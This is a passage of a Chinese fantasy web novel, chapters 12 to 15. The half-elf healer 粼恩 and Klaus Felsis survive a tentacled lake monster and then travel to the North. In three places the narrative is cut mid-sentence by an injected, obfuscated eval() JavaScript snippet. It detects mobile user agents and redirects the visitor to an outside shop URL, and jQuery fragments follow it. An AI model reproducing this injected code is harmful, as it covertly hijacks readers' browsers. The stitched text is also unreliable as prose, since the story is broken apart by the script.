“我一定要弄明白的。”粼恩态度坚定,她看着塔兰叹了一口气,忍不住去握住她的手,“塔兰,我是一定要这么做的。”
塔兰反握她的手,她本想对粼恩说留在精灵领地其实也很好,而且她有那么高的天赋,但是,当她从粼恩的眼睛里看出了和当年要离开精灵领地的西莱奥一样的坚决后,她放弃了这个念头。
虽然精灵们对有着精灵血脉的混血儿们态度确实要比人类好上许多,但实际上,这些混血儿并不能在这里找到归属感。
“好吧,”塔兰看向粼恩清澈的碧绿色眼睛,从恍惚中脱离出来,她下定了决心,“既然如此,我得给你找一个帮手才行。”
44. 第 12 章
塔兰是这样设想的:粼恩要去中心城调查,费尔西斯也需要去中心城追寻古籍的下落,粼恩能治愈红晕症,费尔西斯需要能治愈红晕症的药剂。
那么,粼恩随费尔西斯前往北境治疗后,再随他前往中心城,凭借费尔西斯家族的能力,帮助粼恩调查、庇护粼恩安全总是没有问题的。就算粼恩在中心城没有得出什么结果,她也能平安归家。
粼恩明白塔兰的用心,也感激她这些日子对她的帮助,她扭捏了几下,还是扑到塔兰身上给她一个大大的拥抱。
塔兰怔愣住了,半晌,她才慢慢地收紧双臂,像当年拥抱西莱奥一样拥抱着粼恩。
“塔兰,谢谢你!你帮助了我这么多,我也想为你做些什么,”粼恩将头靠在塔兰的肩膀上,她一直忘不了让她来精灵领地的西莱奥,又总是因此联想到那天塔兰反常的情绪,犹豫了片刻,还是轻声道,“我不知道你与西莱奥之间发生过什么,但我希望你能高兴。如果你真的想见他,我可以告诉你他的位置。”
“好姑娘,”塔兰缓缓叹了一口气,又摸了摸粼恩蓬松的橘发,“玛琳娜会为能有你这样一个孩子感到骄傲的。”
.
比起药剂,一个能治愈红晕症的医师显然更加珍贵,庇护粼恩不是什么难事,克劳斯毫不犹豫地答应了精灵的条件。
塔兰对他爽快的态度感到满意,连带着塞缪尔对他也少了许多冷嘲热讽。
克劳斯有些讶异,继而很快察觉到粼恩对他们的重要性,心中生出一丝疑惑——一个人类,竟会这么受精灵青睐和重视吗?
但他不是路易莎,对无关紧要的事情没有多余的探究欲望,他联想到的只有来时被盗窃和袭击的狼狈,并以粼恩为由,获得了精灵们护送他们至维洛兰南境边境的帮助。
可精灵对克劳斯仍是充满警惕,在为粼恩准备了许多用品之外,他们决定走另一条人类不熟悉的路护送他们离去。
为防止克劳斯记住路线,精灵们特意选在朦胧的黄昏时分出发,以防万一还给他的眼睛蒙上了巾布。
穿过山林,涉过兰溪,一行人来至湖边。
已是深夜,橘黄色的月亮嵌在黑蓝色的天空中,被浓厚的云层遮蔽了大半。湖边水雾缭绕,一切都模糊不清,让原本静谧的环境染上了一丝恐怖的氛围。
这是粼恩当时游过的大湖,此时湖边正系着一只洁白的小舟,显然是为送他们离开准备的。
护送他们的三个精灵对视一眼,他们不必言语,就已经分好了任务。一个解开绳子上船拿桨,一个帮助粼恩与克劳斯上船后立于舟头,一个站在最后观察,确认安全后略一点头,跃上小舟掌舵。
哗——
船桨插入冰冷的湖水中,有韵律地划动起来。
粼恩抱着行囊坐在小舟中间,由于拥有水泽精灵的血脉,她向来喜欢浓厚的水汽,而且这片湖她之前也游过,应该觉得安心才是。
可不知道是不是夜晚阴冷的缘故,她忍不住环抱起双臂,也不想往墨水似的湖面瞧上一眼。
她转过头,正好瞥见端坐在一旁的费尔西斯先生。
即使身处陌生环境,视野还被限制在方巾之下,他仍挺直着腰板,不露一丝情绪。
好……
好……的一个人。粼恩想不出用什么词语形容他,想到之前与他相处经历,除了为家人奔波值得称赞外,她只觉得这人奇怪。
哦!他对他的乌鸦还挺不错的。
粼恩结束总结,转回了头,她顶着脚下木纹,在心中思考接下来的打算。
在想到去往中心城后应该做什么时,一缕凉风徐徐吹来,裹挟着湖水的腥味若有若无地扫过粼恩的脖颈。
粼恩不由得打一个激灵,坐直了身体。
她仰起头,周围的雾气更浓郁了,面上不知不觉地润了一层淡淡的湿意,抬手一摸,才发觉下雨了。
雨丝极细,隐藏在浓雾里,无声无息。
湖面上一片寂静,一行人几个种族也不曾有过言语交流,只有木桨破开水面又拉起的声响。
好像有哪里不对。
粼恩莫名的不安,她想起关于“旅者”的传言,又劝慰自己塔兰前不久才带队清理过,应当不会出什么事的。
精灵们划船的速度很快,濛濛细雨中,小舟已经驶过一半。
咚——
忽然一声闷响,小舟摇晃了几下,粼恩心下一紧,却听见一位精灵道:“只是一条鱼撞了上来。”
粼恩呼出一口气,放松下来。
她一手扶在船沿,一边朝水面看去,借着雨水落到湖面反出来的微光,她瞧见那一尾游鱼歪歪扭扭地翻了几下身,朝着反方向蹿走了。
粼恩收回视线,思绪也回到去往中心城后的打算中。
渐渐的,雨下得密了,克劳斯陷在黑暗中,只听见细细密密的沙沙声和湖水荡漾的淙淙声。
他伸手抹掉面上滴滴答答的雨水,默默计算着行程。自他蒙上双眼离开精灵领地到现在,大概过了小半日,应该已经走出了精灵活动的范围,来到了南境与精灵领地之间的缓冲地带。
他的视觉受限,听力便越发清晰,这一路上水声不停,走的是一条人类几乎不可能涉足的水路。这样看,从这里到南境有家族势力的时间需要重新估算了。
咚——
又一声闷响,撞击船身的力度比刚刚更大,克劳斯身形摇晃,下意识地往旁边撑了一下,皱了皱眉。
“嗯?”负责划船的精灵发出了疑惑的音调,看向站在船头观察的精灵,得到了并无异常继续前进的指令。
今夜月光黯淡,游鱼却很活跃,它们哗哗地搅动着湖水,将腥味都翻了上来。
当小舟划过湖面大半时,鱼群翻涌得更加疯狂,它们因快速游动撞击到小舟的频率也更大了。
船下的鱼群涌动,颠得小舟在原地起伏不定,粼恩左摇右晃,难免生出一些慌张,她左右张望了两下,只见克劳斯一把扯下了眼罩,低声呵道:“不对!有什么东西在湖中!”
站在船头的精灵也被克劳斯突如其来的行为惊到,转过身想要阻止他,才上前两步,突然神色大变!
“是‘旅者’!”
她拉弓射箭一气呵成,银光一闪,箭矢噗嗤一声精准地射中了隐藏在浓雾之中的东西。
砰——
一根硕大的、软绵绵的腕足重重地跌了下来,一半搭在小舟上,剩下一半还浸泡在湖水里。
粼恩紧张地盯着它,生怕它还有什么动静,却见它抽搐了几下,渐渐不动了。
射箭的精灵丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199732|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毫不敢放松警惕,她的手指勾在弦上,双眼扫视,蓄势待发。
众人不敢轻举妄动,湖面上静悄悄的,雾越发浓了。
粼恩抬头看向四周,执舵持桨的两个精灵也都放下了手中的工具,按在了腰间的剑柄上,随时准备战斗。
嘎吱嘎吱——
插在腕足上的那枚箭矢忽然发出极其牙酸的折断声,众人下意识低头,没料到那条软趴趴的腕足竟然奋力地扭动起来,强劲的肌肉毫无规律地旋转,将银白色的箭矢硬生生地绞断了!
噗哧——
离腕足最近的精灵毫不犹豫地出手,利刃出鞘,寒光闪闪。
不过呼吸一瞬,这根诡异的腕足就被切成几段,断面整齐,直到落下才有紫红色的液体缓缓渗出,可见出手精灵的力气之大,刀刃之利。
他哼笑一声,抽出锦帕正要将刀尖上沾到的一点儿液体抹去,却听到那个人类男性失控地大喊了一声。
他在惊慌什么?
精灵诧异地挑了挑眉,心想人类真是胆小,明明一切都已经结束了,怎么还往后退?
他眨了下眼睛,扑通一声跌进水里,失去了意识。
“不!”
看着同伴被另一根突袭的腕足拖入水中,拿桨的精灵抽出双刃就要跳进湖中将同伴救回来。
“别过去!”他被执箭的精灵拦下,“你现在下去只有死路一条!”
“难道我们就要这样看着他被活活淹死吗?!”他露出难以置信的表情,大喊道。
啪!
一个清脆的耳光声凭空响起,在湖面荡起了回响。
女精灵一手持弓,冷冷道:“你唯一该做的就是听从长官的命令,现在,立刻往岸边划。”
男精灵忿忿地将利刃甩回刀鞘,拿起船桨奋力往岸边划。
女精灵看了自己的弓箭一眼,面上冷然。
就在刚才,在同伴被腕足卷起的那一瞬,她的箭矢也同时射了出去。可与最开始不同,她的箭明明已经射中了腕足,却不能减缓它的速度半分,只能眼睁睁地看着同伴瞬间消失在漆黑的湖水之中。
这到底是什么旅者?怎会如此异常?
精灵心中骇然,脸上却不显露分毫。
她从腰间和大腿的绑带上抽出几把武器丢给粼恩与克劳斯,神情严肃道:“‘旅者’很有可能会继续攻击,我不一定能完全照看得住你们,你们自己也多加警惕。”
粼恩点了点头,接过长刀,克劳斯则拾起两把短刃,两人相识一眼,都从彼此的眼睛里看到了紧张。
对岸的轮廓浮现在眼前,黑森森的树林直直地立着,等待小舟靠岸。
安全就在眼前,粼恩不由得抻直了脖子,身侧突然一阵劲风袭来,紧接是一只臂膀将她紧紧地压下——
“小心!”
随着克劳斯的一声警告,数根腕足从浓雾与密雨中显出身影,齐齐袭向小舟!
与此同时,女精灵腾空而起,数箭齐发,一道道破空声中,腕足重重地跌向水面,惊起巨大的水花。
雾气与雨水交织,水花翻涌,一时间让人难以分辨周围情况。
雨声,湖水被搅动的哗哗声,急促的呼吸声,以及急促的心跳声,待在小舟上的几人被浓雾包围,浸泡在无声的焦灼之中。
45. 第 13 章
这到底是什么生物?
粼恩冷汗涔涔,前些日子这里还是一片祥和,今夜却掀起如此可怖的风浪。这些腕足,是一个“旅者”的一部分,还是好几个“旅者”的?
它是在水里生存的?又是从哪里顺着河水游曳到这片湖,再想从湖游向精灵领地或者南境吗?
四下暂时风平浪静,女精灵果断下令,快速离开这片水域。
闻言,男精灵快速起桨,克劳斯见状也执起身后的船舵,一行人抓紧时间向岸边划去。
可惜事与愿违,小舟才向前划动了几下就如同深陷泥潭般动弹不得。无论再怎么用劲,小舟也纹丝不动,仿佛水底下有什么硕大的吸盘将他们牢牢固定在原地。
粼恩小心翼翼地往船外看了一眼,在黑暗中视物的能力让她清晰看见船身已被数条腕足死死缠绕,蜿蜒着向上涌动。
她倒吸一口凉气,举起长刀毫不犹豫地往下猛扎,惊慌地提醒:“它要爬上来了!它要爬上来了!”
其余几人一听立即往外探身,只觉得自己落入了什么诡异的虫巢,密密麻麻的腕足如无数条饥饿的肥硕的幼虫疯狂翻涌,仅一眼鸡皮疙瘩立即起了一身。
察觉到生人的气息,腕足抽动得飞快,有的甚至已经攀上了小舟的边缘!
更让人绝望的是,尖利的武器虽然能对它们造成不小的伤害,但腕足的数量众多,斩断一条后补充上来的腕足数量更多更疯狂,即使几人已经拼尽全力,也只能眼睁睁看着小舟被卷着拖入湖水之中!
噗通!
咕嘟咕嘟——
一掉进湖里,粼恩立刻调整呼吸,让身体顺应水流的方向。
她睁开双眼,原本碧绿色的眼睛在漆黑黏稠的湖水中如同两颗浅青色的天然珠子,幽幽的反着微光;脸颊上的两道缝隙也自动翕张起来,边缘显现一点儿淡淡的荧色蓝光。
在水中,粼恩的身形更加灵巧,如一尾游鱼在疯狂缠绕的腕足间穿梭。很快,她就在不远处发现被腕足拖拽着的几人。
有两人离得很近,一人还在奋力挣扎,另一人似乎已经喘不上气了,粼恩来不及分辨这到底是谁,一个摆腿就来到了他们身边,扯下腰间的匕首扎向比她手臂还粗的腕足。
不行,不行!
直到近距离接触后,粼恩才发觉这些腕足的恐怖之处,透过它半透明的红色表皮,她甚至可以看见腕足每一次发力时那强健的肌肉是如何收缩与伸张,她甚至能听见匕首扎进去后被节节绞断的嘎吱声!
怎么办?她没有能够救下他们的武器。
粼恩心中焦急,无法注意到全部腕足,后背猛地一痛,她被一根腕足狠狠地抽到一旁!
她在汹涌的湖水中滚动几周,好不容易稳住身形,却发现自己的腰带也被抽散了,随身携带的几瓶药剂在身前漂荡。
粼恩下意识抬手一捞,将瓶子抓住,冰凉凉的,让她焦躁的心也冷静了一点。
我能做什么?快想想,我能做什么?!
她奋力地向前游去,手越攥越紧——
对了,瓶子、瓶子!
她扑到缠绕着两人的腕足上,用牙拔掉其中一个瓶子的木塞,将里面的糜状物尽数涂抹到腕足刚刚被匕首扎破的地方。
然后她深呼一口气,闭上了眼睛,按照塔兰指导她做过的那样凝神静气,稳住呼吸。
她的意识不断下沉,尽管身体已经被腕足牢牢缠住,却不觉有任何束缚,渐渐的,她又“看”到了光点从她手中溢出,均匀地附在了糜状物上。随着粼恩的呼吸与指引,这些光点渐渐从腕足的伤口表层往深处流动,粼恩也逐渐“见”到了这个“旅者”大部分身躯。
除去疯狂抽动的众多腕足,“旅者”的头部长得非常怪异,它没有眼睛,头顶一圈葵花似的口器,里面却遍布着锯齿状的钢牙。应该是头颅的位置生长着许多半透明的卵泡,粘连着堆叠在一起的,包裹着许多未消化完的食物。
粼恩认真一瞧,里面甚至还有半截手臂!
她强忍下恶心,沉沉地呼出一口气,促使着“光点”裹挟着蓝叶藻的果实向那堆“卵泡”游曳。
淡淡的荧光舞动着点亮了“旅者”的身体,汇集在它的头部。很快,“旅者”便抽搐着翻涌起来,腕足在湖中疯狂搅动,粼恩也被迫睁开了双眼。
她从腕足的束缚中挣脱出来,伸手一拽,将另外两人拖了出来。蓝叶藻的果实起了作用,但她不敢浪费时间,一手抱住一个奋力地往岸边游去。
将两人拖至岸边,粼恩的力气已经没了大半,但水里还有人,她没法坐视不管。看着两人开始吐水有醒来的迹象,粼恩甩掉碍事的外套,义无反顾地往湖中扎去。
此时,蓝叶藻果实的毒素已经使“旅者”的身躯僵硬起来,腕足不再胡乱搅动而是顺着水波漂浮。于是这一次,粼恩很快在水底找到一人,但最开始被卷下来的精灵却已无了踪影。
那截残臂应该就是他的吧?粼恩心底微微一叹,抓着剩余的那人开始往上游,顺带把浸泡在水中的行囊一并带回的岸边。
.
岸上。
克劳斯一边呛咳一边挣扎着坐了起来,身下是湿润但坚实的土地,被腕足纠缠着拖进水里的经历仿佛是一场真切的噩梦。
但这绝不可能是噩梦,他身旁的女精灵仍在不住呛咳,身前的泥地上有几道杂乱的痕迹,不远处,湖面还在不安分地晃荡。
是谁救了他们?剩下的人呢?粼恩医师又在哪儿?
他挣扎着站了起来,胸口与腹部都传来了剧烈的疼痛,这比眼前任何一处的景象都更加强烈地告诉自己刚刚发生的事情到底有多惊险。
才向前走动两步,湖面突然响起“哗哗”水声,有什么东西正在快速靠近。
难道是“旅者”?
克劳斯猛地一抬头,对上了一颗湿漉漉的橘色脑袋。
——朝岸边游来的正是粼恩。
克劳斯急忙上前,涉过浅水,他才发觉粼恩身后还拉着什么,定睛一看,是另一名男精灵和他们的行囊。
不必多说,救了他们的人就是粼恩。
接过昏迷的男精灵和沉重的行囊,克劳斯看着粼恩重重地坐倒在地,半个身子还泡在水里,一点力气都没有的样子。
她的身上湿漉漉的,外套也不知道丢哪去了,冷风一吹,她就开始发抖,身形更显消瘦。
克劳斯将头扭到一旁,把粼恩的行囊递给女精灵,她取出一件外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213246|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
套给粼恩披上,克劳斯则在这段时间里唤醒了晕厥的男精灵。
“谢谢。”粼恩裹紧外套揉了揉手,热量正慢慢地重新回到她的身上。
女精灵则摇了摇头,郑重道:“应该是我们该谢谢你才是。没有你,我们必然会被‘旅者’吃掉。”
“那究竟是什么东西?”清醒过来的男精灵心有余悸,“在此之前,我们从未遇到这种‘旅者’。更何况前两日塔兰大人还带队将领地附近巡视了一遍,怎么会有这种东西出现?”
“那说明它是这两日从别的地方游荡过来的。”克劳斯严肃道,他神色复杂地看了粼恩一眼,又对另外两个山地精灵警告,“你们最好立即向你们的领主和执政官反应这件事。”
克劳斯这话说得实在不太客气,男精灵被他挑起了一丝怒火,却听见粼恩认同的话:“对,你们最好快些回去和塔兰他们汇报这件事。这个‘旅者’很难用普通的刀剑杀死,我是用了毒药才勉强把你们救了出来,也不知道它是不是真的被我毒死了。”
“但是,”面对粼恩,女精灵的态度要更软和一些,“我们的任务是护送你们。”
“没关系的,我知道这里通往南境的道路,”粼恩摇了摇头,又看向克劳斯,“而且费尔西斯先生刚才也是这个意思吧。”
克劳斯目光沉沉,他并不言语,只是微一点头。
女精灵身为长官,是做决策的人,她权衡了片刻,才道:“好吧。那我们先回去汇报此事。”
决策已下,两个精灵马上向粼恩与克劳斯告辞,临行前女精灵拍了拍粼恩的肩膀:“你们路上多加小心。”
粼恩点点头,望着他们的身影逐渐远去。
现在正是黎明时分,熹微的光在空中渐渐浮现,一切都笼罩在将显未显的晨光中,湖水也恢复了之前的平静。
粼恩轻轻呼出一口气,将湿漉漉的头发都拨至脑后,搓了搓手才转过身看向克劳斯,提议道:“那我们就,出发了?费尔西斯先生。”
克劳斯颔首,突然开口道:“不过,在出发前我想问问粼恩医师——”
他的眼神落到了她的脸上:“您是‘半人’吗?”
粼恩僵住了。
她的手指抽动了几下,既想将耳朵遮住,又想大叫着给这个费尔西斯先生一拳。
她的嘴张张合合好几下,可恶的费尔西斯先生却异常的有耐心,好像非得等她亲口说出来才行。
粼恩忍了又忍,才从牙关里憋出一句“是”。
见他了然般点头,粼恩忍不住反问了一句:“‘半人’怎么了?你还怕医师传染疾病给你们吗!”
“那倒不是,”克劳斯摇了摇头,“我只是提醒您接下来就快要进入南境地界了,我不歧视‘半人’,但您最好隐藏一下身份,以及终于明白塔兰大人为何对一个‘人类’如此看重罢了。”
塔兰才不是因为我的精灵血脉重视我的!
粼恩在心底冲他翻白眼,表面上则装模作样地点点头。
但在伪装身份这件事上,克劳斯说的不无道理,粼恩一边腹诽一边从行囊中取出塔兰为她准备的帽子戴上。
在这段短暂且不太愉快的对话后,两人稍作休整向南境继续进发。
46. 第 14 章
穿过横河小道与田园地带,粼恩跟着克劳斯来到一个繁华的小镇上。现在正值太阳高悬,身上湿漉漉的衣服也早就干透了。
克劳斯走到一座大约三四层高的房子前,门上挂着一个由百合、丁香与亚麻编织成的花环,他敲了敲木门,脚步声由远及近响起。
吱呀——
一张皱巴巴的脸从木门上的小窗探了出来,看清楚来人后,木门才被打开。
克劳斯径直走了进去,粼恩犹豫片刻,也跟了进去。
这是一个旅店,门房在见过克劳斯展示出来的银制徽章后,态度恭敬了许多。
“两间上等房,备好热水和香薰。”克劳斯淡淡地吩咐,说到食物时他看了粼恩一眼,粼恩小幅度地摇了摇头,他才继续道,“一份正餐送至我房间,这位小姐的食物等她摇铃了再给她送上去。”
好讲究的大少爷。
上了楼看到自己的房间后,粼恩不由得腹诽。
明净的窗户,桌子上摆了一束还带着露珠的鲜花,浴桶里热水已经准备好了,潮热的水蒸汽混合着香薰的味道幽幽地逸散。
不过也是托了他的福,粼恩心想,走了大半天的路后总能好好地休息一下了。
甩开鞋袜外套,粼恩任由衣服落到地上,整个人泡进浴桶中,让热量驱散身体的疲惫。
沐浴后,她也来不及收拾,身体往柔软到如同泥沼一般的床上一倒,就陷进了黑甜的梦乡。
.
在粼恩快速昏睡过去的同时,隔壁房间的克劳斯已经洗漱完毕用完午餐。
渡鸦小芒循着哨音从窗外扑腾而来,待克劳斯将信件取下后,它便大摇大摆地走到盘子边,啄食盘中剩余的面包和新鲜的水果。
克劳斯没管小芒大吃自助的行为,他打开信件,意外地收到了来自中心城的回信。
精灵古籍的下落暂且没能打听到,但线人却通过某种手段得到了一小管来自丰赐圣母教的药剂——传闻中能够治愈“红晕症”,又有多少人渴望的药剂。
克劳斯心中一动,但常年权衡利弊的习惯让他马上冷静了下来。
这不过是一小瓶药剂,剂量不够未知,是否真的能治愈病症也不确定,现在他们已有粼恩医师的帮助,不必冒险使用这瓶药剂。
但这瓶药剂,是否能作为一个突破点?克劳斯敛下眉心,将药剂瓶收好。
他拆开下一封信件,是从北境传回来的消息,篇幅不长,克劳斯的表情却变换了几番。
信件来自他的表姐,北境境主的二女儿罗伊珊,她表示精灵的缓解药剂已经起了作用,但病症不宜拖延,假如已经寻到医师,还请速速返回。
克劳斯处理好信件,又给小芒喂了点水,看着它飞向天际。阳光倾斜着落进窗台,此时已是午后。
他没有什么时间休息,因为门房已经敲响了他的木门,说有客人来访。
克劳斯揉了揉眉心,看向门口,这所谓的“客人”是几个他安排在南境的下属。
克劳斯求药一事不适合大范围,尤其是在其他境界内传播,离开南境自然也需要低调。免去繁琐的问候,克劳斯开门见山,询问返回北境的工作准备的如何。
得到答复,敲定时间与形成,克劳斯皱起的眉头才稍稍松开些许。他缓缓吐出一口气,挥了挥手,几人安静地退下,克劳斯才卸下力气,靠在了软椅上。
现已至黄昏,窗外蒙上了夕阳的余晖,红与黄的暖光交织,也给克劳斯披上了一层薄薄的橘色软纱。
他窝在软椅里,在香薰的余韵中陷入了浅眠。
也不知休息了多久,克劳斯在一阵幽微的铃声中惊醒,一下子坐直了起来,他扭头向外看去,夕阳的余晖尚存,但夜色已经开始在大地上弥漫。
路边的酒馆饭店逐渐热闹起来,周围的房子也燃起了油灯,橘黄色的光在玻璃窗上跳跃着,克劳斯不由得陷入了片刻的恍惚中。
门房敲响了隔壁的房间,食物的香气漏了进来,克劳斯这才意识到是粼恩叫人送上了食物。
噢对,粼恩——
克劳斯随着晚风四处逸散的思绪有了定点,他要告诉她,告诉她返回北境的事宜,以及他需要帮助她的事。
房间内没有点灯,他坐在暮色里,听到不那么清晰的铃声又一次响起,听到侍者取走餐食的脚步声。
然后克劳斯站了起来,朝粼恩的房间走去。
叩叩叩——
刚刚才合上的木门又被敲响了。粼恩将门开了一条小缝,看到了费尔西斯先生的身影。
她将门拉开了一点,这才发现他的脸色与表情虽然与平时无异,但疲倦还是在他的眼神里留下了一点空茫的痕迹。
难道没有休息吗?
粼恩眨了眨眼,但以他们现在的关系,她并没有把问题问出来,只道:“有什么事吗?费尔西斯先生。”
这句话问出来后,费尔西斯先生并没有立即回答,像是疲惫的潮水在他身上留下了难以蒸腾的水汽,他很缓慢地眨了一下眼睛,才反应过来似的应了一声:“是——”
“——是来告诉你明日出发的事宜,”克劳斯回过神来,神情无异地说道,“明日清晨,我们就要出发回北境,届时会有侍者上来通知你。到北境后如果有什么需要的物品药材,你可以列一张清单,会有人安排准备。”
.
次日,侍者敲门的声音伴随着报晨鸟的歌声一同响起。
粼恩挣扎着将身体从柔软的床上拔了出来,快速地洗漱收拾,下楼用早餐的时候费尔西斯先生已经坐在一旁等候了。
他虽然没有催促,但粼恩仍然不敢怠慢,飞快地解决了早饭,两人向门外的四轮马车走去。
粼恩左右看了看,马车似乎只有一辆,幸好车厢宽敞,她无需与费尔西斯先生并坐一排。
只是费尔西斯先生身高腿长,虽然两人面对面坐着,但马车偶尔的颠簸会使他们的膝盖轻轻地互相一碰。
这让粼恩有些紧张。
说实在,她很少与不熟悉的人在相对密闭的空间独处,而且他是一个男性,还是一个知道她“半人”身份的人类男性。
她确实不知道也没有什么经验与这样的人类男性相处。
毕竟塔兰提醒过她,费尔西斯先生出身不凡,又与北境境主有着极近的血缘关系。这样的人瞧不起普通人都已是寻常,更何
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221585|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
况是一个连“人”都算不上的“半人”呢?
尽管前天在湖边的时候,费尔西斯先生曾说过他不歧视“半人”,但谁又可以保证?粼恩迟来的警惕终于蔓延上心头,她攥紧随身携带的小包,缓缓吐出一口气。
“身体不舒服?”费尔西斯先生突然问道。
粼恩微微一吃惊,摇了摇头。她的膝盖仍不时与费尔西斯先生的膝盖轻轻碰撞,她便装作漫不经心的样子往窗户的方向靠了一靠。
克劳斯注意到她的举动,将腿搭在另一条腿上,让出一道空间,直白道:“如果有任何不适,你可以直接提出来。”
这样的话粼恩听着有些尴尬,她没想到他的观察力已经强到这种程度,更没想到他会将这种人与人之间微不足道的小事情直接说出来。
但在尴尬之余粼恩又慢慢地放松了下来,她悄悄地瞄了一眼费尔西斯先生的表情,平和,不像是嘲讽的意思。
还……还挺绅士的?
而且比起表面上彬彬有礼,但内心却瞧不起人的家伙,粼恩还是宁愿和像费尔西斯先生这种性格的人相处。
车厢内的气氛平和了许多,时间在飞驰的车轮中流逝。
“到北境了。”挑起车帘往外看了一眼,费尔西斯先生突然道。
过去的时间他们只在途中短暂地休息过两次,而现在,克劳斯的肩膀向后靠了一靠,坐姿也更显放松。
比起费尔西斯先生到达自己熟悉的地界后,那种从身上油然而生的悠然与放松感,粼恩的心情则有些忐忑。
待会儿是和以往那样直接去治疗,还是先被其他人质疑一下她的水平?离开半人聚居地,独自在外治疗调查的这段时间里,这些粼恩都经历过,再加上现在有塔兰教给她的东西,粼恩虽然担心却并不忧虑。
她更不确定克劳斯是否会,或者是否已经告诉了其他人她的“半人”身份。即使费尔西斯先生不歧视“半人”,她也不想太多人知道这件事,以免引起不必要的麻烦——半人饱受歧视,更不用提他们能选择的工作实在有限。
尽管大部分医师在旁人眼里和理发师一样会的只有放血,可医师这个职业仍不是半人可以“染指”的,她懒得分出精力去承受非议。
想到这儿,粼恩看向克劳斯,道:“既然我们已经到了北境,治愈红晕症一事也是我的职责,如果可以,还请费尔西斯先生及您的家人配合我的治疗,相应的是,如果您还未告诉其他人我的身份——”
“我的半人身份,”粼恩顿了一顿,继续道,“可否帮我保密?”
闻言,克劳斯的目光落到了粼恩的脸上。
自那天在湖边他识出她的身份后,她便一直戴着那顶帽子,显然对此十分在意。
保密身份,这不是很难的事情,更何况稍微一想,就能明白她的顾虑。
克劳斯不喜欢在这种细枝末节的事情上为难其他人,微一点头就当作应答了。
看来他还没有告诉别人她的身份,也愿意替她保密,为人倒也算正直。
这也同时说明,费尔西斯先生在她结束治疗后,应当不会敷衍帮助她调查中心城的这件事情。粼恩放下心来,也看向窗外。
47. 第 15 章
明明时节已是初夏,大地也披上绿意,可北境看着比南境要肃穆萧瑟许多。
冬日已去,但她银白的发丝太长,在这片土地上延绵了许久,以至于春风夏雨都未能完全遮掩掉她留下来的痕迹。
透过玻璃窗,粼恩发现这里的房屋排列像是遵从某种秩序,尽管每家花园里种植着不同的植物,房屋的新旧程度不一,但马车飞驰而过,粼恩还是感受到一种整齐的韵律。
这和南境那种色彩缤纷但纷乱的风格大相径庭,粼恩说不出哪种好坏,心头只有见到新鲜事物的好奇。
穿过一片树林,田宅渐渐远去,一座巍峨的府邸便进入了粼恩视线。
“粼恩医师,”费尔西斯先生没有语调起伏的话打断了她的观察,她转过头来,对上他浅褐色的眼睛,“或许精灵已经告诉你病人的身份——患有‘红晕症’的病人是我的姨母,也是北境境主费尔西斯夫人。但正如我承诺不会将你的身份说出去,也请你为病人的身份保密。”
粼恩点点头,顺着他的话问道:“那是等一会儿就开始治疗吗?”
“不。”
随马车快速前进,府邸及其周边的景致也就越发清晰了,缓坡之下,平静的湖面映衬着宽阔的草坪,岩石建造的府邸显得既庄重又气势恢宏。
粼恩离开家的半月以来,也曾见过不少精美的房子,她本以为费舍的绿云庄园已足够震撼,可直到见了这座府邸,粼恩才明白什么叫做相形见绌。
先不论屋檐上高耸的滴水石兽,眼珠竟是由一颗一颗滴血似的红宝石镶嵌的。单是门厅前那一排错落有致的喷泉和一座由整石雕刻而成的白鹿雕像就足以让她惊叹。
才走近门厅,阳光就被高大的建筑遮蔽了大半,幽风拂过,带来一股寒意。粼恩缩了缩脖子,见费尔西斯先生大步向前,她也急忙跟了上去。
“您终于回来了,费尔西斯先生。”一个老妇人欣喜地迎了上来,“你需要的东西我已经安排好了,可——”
见到粼恩,老妇人的话明显一顿,继而问道:“这位小姐是?”
“珍夫人,这位是粼恩医师,”克劳斯侧过身来为二人介绍,“粼恩医师,这位是珍夫人,也是在下府邸的管家。”
女神在上,原来这是你家!
粼恩暗暗惊叹,她向珍夫人行了一个礼,又见费尔西斯先生侧过头来对她道:“病人在乡间宅院修养,离这里还有一段距离。天色已晚,先在这里休息一夜,明日清晨再出发。”
粼恩点点头,珍夫人也快步上前,温和地对她说道:“原来是粼恩医师,我带您去您的房间吧,您的行李已经为您送上楼了。”
见费尔西斯先生自顾自地向另一边走去,粼恩不由得有些疑惑,珍夫人对待客人的态度当然很友好,但是怎么就这样看着自家主人独自离开了?
像是觉察出粼恩目光中的不解,珍夫人一边领她上楼一边解释:“费尔西斯先生不喜欢有太多人跟随在身后,因此府邸中仆人虽多,但很少在人前走动。他也鲜少带同龄人回家。”
粼恩张了张嘴,心道自己只是一个医师,算不上费尔西斯先生的朋友,但她看向珍夫人欣慰的笑容,又默默地将话吞回肚子里去了。
